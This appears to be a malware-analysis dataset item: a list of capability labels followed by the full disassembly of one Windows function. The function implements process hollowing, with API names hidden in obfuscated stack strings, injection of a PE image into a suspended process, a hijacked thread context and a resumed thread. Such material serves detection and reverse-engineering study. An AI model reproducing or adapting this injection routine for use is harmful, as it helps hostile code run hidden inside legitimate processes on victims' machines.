Function at 0x140004f74
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Encode data using base64
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x790]
sub rsp, 0x890
xor eax, eax
lea rdi, [rbp]
mov r12, rdx
xor r15d, r15d
mov rdx, rcx
xor r9d, r9d
xor r8d, r8d
lea r13d, [rax + 0x68]
mov ecx, r13d
lea r14d, [r13 - 0x67]
rep stosb byte [rdi], al
lea ecx, [rax + 0x18]
mov dword [rbp], r13d
lea rdi, [rbp - 0x40]
rep stosb byte [rdi], al
lea rax, [rbp - 0x40]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rdi, qword [rbp - 0x40]
test rdi, rdi
je 0x14000520d
mov rcx, rdi
call fcn.140004dc4
mov r9d, 0x248
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0x70]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000520d
mov rdi, qword [rbp + 0x80]
mov rsi, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [r13 - 0x60]
mov r8d, 0x2000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x14000520d
mov r9d, 0x2000
mov qword [rsp + 0x20], r15
mov r8, rax
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
mov edi, r15d
cmovne edi, r14d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test edi, edi
je 0x14000520d
movsxd r14, dword [r12 + 0x3c]
lea ebx, [r13 - 0x67]
add r14, r12
mov edi, r15d
mov qword [rbp - 0x10], r14
movzx esi, word [r14 + 6]
mov byte [rsp + 0x58], 0x1a
mov byte [rsp + 0x59], r13b
mov r13d, 0x81020409
mov byte [rsp + 0x5a], 0x17
mov byte [rsp + 0x5b], r15b
mov byte [rsp + 0x5c], r15b
mov byte [rsp + 0x5d], 0x78
mov al, byte [rsp + 0x58]
mov dword [rbp + 0x7e0], esi
movzx ecx, byte [rsp + rdi + 0x58]
mov eax, 0x78
sub eax, ecx
imul ecx, eax, 0x27
mov eax, r13d
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r13d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + rdi + 0x58], cl
add rdi, rbx
cmp rdi, 6
jb 0x1400050e5
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov byte [rbp - 0x70], 0x2a
mov rdi, r15
mov byte [rbp - 0x6f], 0x32
mov r8, rax
mov byte [rbp - 0x6e], 0x75
mov byte [rbp - 0x6d], 0x16
mov byte [rbp - 0x6c], 0x66
mov byte [rbp - 0x6b], 0x2e
mov byte [rbp - 0x6a], 0x74
mov byte [rbp - 0x69], 0x25
mov byte [rbp - 0x68], 0x29
mov byte [rbp - 0x67], 0x6b
mov byte [rbp - 0x66], 0x40
mov byte [rbp - 0x65], 0x59
mov byte [rbp - 0x64], 0x1b
mov byte [rbp - 0x63], 0x17
mov byte [rbp - 0x62], 0x6b
mov byte [rbp - 0x61], 0xd
mov byte [rbp - 0x60], 0x32
mov byte [rbp - 0x5f], 0x29
mov byte [rbp - 0x5e], 0x45
mov byte [rbp - 0x5d], 0x16
mov byte [rbp - 0x5c], 0x3b
mov al, byte [rbp - 0x70]
movzx ecx, byte [rbp + rdi - 0x70]
mov eax, 0x3b
sub eax, ecx
imul ecx, eax, 0x1b
mov eax, r13d
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r13d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + rdi - 0x70], cl
add rdi, rbx
cmp rdi, 0x15
jb 0x140005198
lea rdx, [rbp - 0x70]
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rbp - 0x40]
call rax
test eax, eax
je 0x14000522a
mov rcx, qword [rbp - 0x40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor al, al
mov rbx, qword [rsp + 0x8d0]
add rsp, 0x890
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov byte [rsp + 0x60], 0x76
mov rdi, r15
mov byte [rsp + 0x61], 0x6c
mov byte [rsp + 0x62], 3
mov byte [rsp + 0x63], 0x16
mov byte [rsp + 0x64], 0x5f
mov byte [rsp + 0x65], 0x20
mov byte [rsp + 0x66], 0x49
mov byte [rsp + 0x67], 0x6d
mov byte [rsp + 0x68], 0x49
mov byte [rsp + 0x69], 0x49
mov byte [rsp + 0x6a], 0x26
mov byte [rsp + 0x6b], 0x33
mov byte [rsp + 0x6c], 0x14
mov byte [rsp + 0x6d], 0x3c
mov byte [rsp + 0x6e], 0x3f
mov al, byte [rsp + 0x60]
movzx ecx, byte [rsp + rdi + 0x60]
mov eax, 0x3f
sub eax, ecx
lea ecx, [rax + rax*4]
mov eax, r13d
shl ecx, 3
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r13d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + rdi + 0x60], cl
add rdi, rbx
cmp rdi, 0xf
jb 0x14000527c
mov byte [rsp + 0x70], 0x36
mov rdi, r15
mov byte [rsp + 0x71], 0x58
mov byte [rsp + 0x72], 0x63
mov byte [rsp + 0x73], 0x25
mov byte [rsp + 0x74], 0x58
mov byte [rsp + 0x75], 6
mov byte [rsp + 0x76], 0x4b
mov byte [rsp + 0x77], 0x7b
mov byte [rsp + 0x78], 0x3d
mov byte [rsp + 0x79], 9
mov byte [rsp + 0x7a], 6
mov byte [rsp + 0x7b], 6
mov byte [rsp + 0x7c], 0x6e
mov al, byte [rsp + 0x70]
movzx ecx, byte [rsp + rdi + 0x70]
mov eax, 0x6e
sub eax, ecx
imul ecx, eax, 0x2d
mov eax, r13d
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r13d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + rdi + 0x70], cl
add rdi, rbx
cmp rdi, 0xd
jb 0x140005312
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, dword [r14 + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rbp - 0x40]
mov dword [rsp + 0x20], 0x40
call rax
test rax, rax
je 0x140005201
mov rax, qword [rbp + 0x80]
mov rdi, r15
mov r13, rax
mov r8d, 0x81020409
sub r13, qword [r14 + 0x30]
mov qword [r14 + 0x30], rax
mov byte [rbp - 0x58], 0x32
mov byte [rbp - 0x57], bl
mov byte [rbp - 0x56], 0x66
mov byte [rbp - 0x55], 0x23
mov byte [rbp - 0x54], 0x22
mov byte [rbp - 0x53], 0x3a
mov byte [rbp - 0x52], bl
mov byte [rbp - 0x51], 0x4d
mov byte [rbp - 0x50], r15b
mov byte [rbp - 0x4f], 0x22
mov byte [rbp - 0x4e], 0x12
mov byte [rbp - 0x4d], 0x12
mov byte [rbp - 0x4c], 7
mov byte [rbp - 0x4b], 0x22
mov byte [rbp - 0x4a], 0x2b
mov byte [rbp - 0x49], 0x4d
mov byte [rbp - 0x48], bl
mov byte [rbp - 0x47], 0x78
mov byte [rbp - 0x46], 0x5f
mov al, byte [rbp - 0x58]
mov qword [rbp - 0x18], r13
movzx ecx, byte [rbp + rdi - 0x58]
mov eax, r8d
sub ecx, 0x5f
imul ecx, ecx, 0xf
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r8d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + rdi - 0x58], cl
add rdi, rbx
cmp rdi, 0x13
jb 0x140005409
mov byte [rbp - 0x80], 9
mov rdi, r15
mov byte [rbp - 0x7f], 0x18
mov byte [rbp - 0x7e], 0x37
mov byte [rbp - 0x7d], 0x41
mov byte [rbp - 0x7c], 0x18
mov byte [rbp - 0x7b], 0x46
mov byte [rbp - 0x7a], 0x16
mov byte [rbp - 0x79], 0x58
mov byte [rbp - 0x78], 0x62
mov byte [rbp - 0x77], 0x5a
mov byte [rbp - 0x76], 0x46
mov byte [rbp - 0x75], 0x46
mov byte [rbp - 0x74], 0x56
mov al, byte [rbp - 0x80]
movzx ecx, byte [rbp + rdi - 0x80]
mov eax, r8d
sub ecx, 0x56
imul ecx, ecx, 0x19
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r8d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + rdi - 0x80], cl
add rdi, rbx
cmp rdi, 0xd
jb 0x14000548a
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, dword [r14 + 0x54]
mov r8, r12
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rbp - 0x40]
mov qword [rbp - 0x20], rax
mov qword [rsp + 0x20], r15
call rax
test eax, eax
je 0x140005201
xor ebx, ebx
test esi, esi
je 0x14000568e
lea rsi, [r14 + 0x114]
mov byte [rbp + 0x7e8], 0x59
xor edi, edi
mov byte [rbp + 0x7e9], 0x30
mov r8d, 0x81020409
mov byte [rbp + 0x7ea], 0x6e
mov byte [rbp + 0x7eb], 0x12
mov byte [rbp + 0x7ec], 0x21
mov byte [rbp + 0x7ed], 0x64
mov byte [rbp + 0x7ee], 0x71
mov al, byte [rbp + 0x7e8]
movzx ecx, byte [rbp + rdi + 0x7e8]
mov eax, r8d
sub ecx, 0x71
imul ecx, ecx, 0x33
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r8d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + rdi + 0x7e8], cl
inc rdi
cmp rdi, 7
jb 0x14000555d
mov byte [rsp + 0x50], 0x24
xor edi, edi
mov byte [rsp + 0x51], 0x77
mov byte [rsp + 0x52], 0x69
mov byte [rsp + 0x53], 0x5d
mov byte [rsp + 0x54], 0x6a
mov byte [rsp + 0x55], 0x36
mov byte [rsp + 0x56], 6
mov al, byte [rsp + 0x50]
movzx ecx, byte [rsp + rdi + 0x50]
mov eax, r8d
sub ecx, 6
lea ecx, [rcx + rcx*4]
add ecx, ecx
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r8d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + rdi + 0x50], cl
inc rdi
cmp rdi, 7
jb 0x1400055d3
lea rcx, [rbp + 0x7e8]
mov edi, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd r8, eax
lea rdx, [rsp + 0x50]
lea rax, [rbx*4 + 0x21]
add rax, rdi
lea rcx, [r14 + rax*8]
call fcn.140018550
test eax, eax
cmove r15d, ebx
cmp dword [rsi + 8], 0
je 0x14000567c
mov edx, dword [rsi]
mov r8d, dword [rsi + 8]
add rdx, qword [rbp + 0x80]
add r8, r12
mov r9d, dword [rsi + 4]
mov rcx, qword [rbp - 0x40]
and qword [rsp + 0x20], 0
call qword [rbp - 0x20]
test eax, eax
je 0x140005201
inc ebx
add rsi, 0x28
cmp ebx, dword [rbp + 0x7e0]
jb 0x14000551e
test r13, r13
je 0x14000578c
mov eax, r15d
xor ebx, ebx
lea rcx, [rax + rax*4]
mov rax, qword [r14 + 0xb0]
mov r13d, dword [r14 + rcx*8 + 0x11c]
mov qword [rbp + 0x7e8], rax
shr rax, 0x20
mov dword [rbp + 0x7e0], r13d
test eax, eax
je 0x14000578c
mov r14, qword [rbp - 0x18]
lea r15d, [rbx + r13]
add ebx, 8
add r15, r12
lea eax, [rbx + r13]
mov ecx, dword [r15 + 4]
sub rcx, 8
mov esi, eax
shr rcx, 1
add rsi, r12
test ecx, ecx
je 0x14000577c
mov r13, qword [rbp - 0x20]
mov r12d, ecx
lea ebx, [rbx + r12*2]
movzx eax, word [rsi]
mov ecx, 0x1000
cmp ax, cx
jb 0x140005764
mov rdx, qword [rbp + 0x80]
lea r8, [rbp - 0x28]
mov rcx, qword [rbp - 0x40]
and eax, 0xfff
add eax, dword [r15]
mov r9d, 8
and qword [rbp - 0x28], 0
and qword [rsp + 0x20], 0
mov edi, eax
add rdx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rbp + 0x80]
lea r8, [rbp - 0x28]
add qword [rbp - 0x28], r14
mov r9d, 8
and qword [rsp + 0x20], 0
mov rcx, qword [rbp - 0x40]
lea rdx, [rdi + rax]
call r13
add rsi, 2
sub r12, 1
jne 0x1400056fe
mov r13d, dword [rbp + 0x7e0]
mov r12, qword [rbp + 0x7d8]
cmp ebx, dword [rbp + 0x7ec]
jb 0x1400056cd
mov r14, qword [rbp - 0x10]
mov ebx, dword [r14 + 0x28]
lea rdi, [rbp + 0x2c0]
add rbx, qword [rbp + 0x80]
lea rdx, [rbp + 0x2c0]
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov rcx, qword [rbp - 0x38]
mov dword [rbp + 0x2f0], 0x100002
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140005201
mov rcx, qword [rbp - 0x38]
lea rdx, [rbp + 0x2c0]
mov qword [rbp + 0x340], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x140005201
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp - 0x40]
test eax, eax
je 0x140005205
mov edx, 0xea60
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x14000520f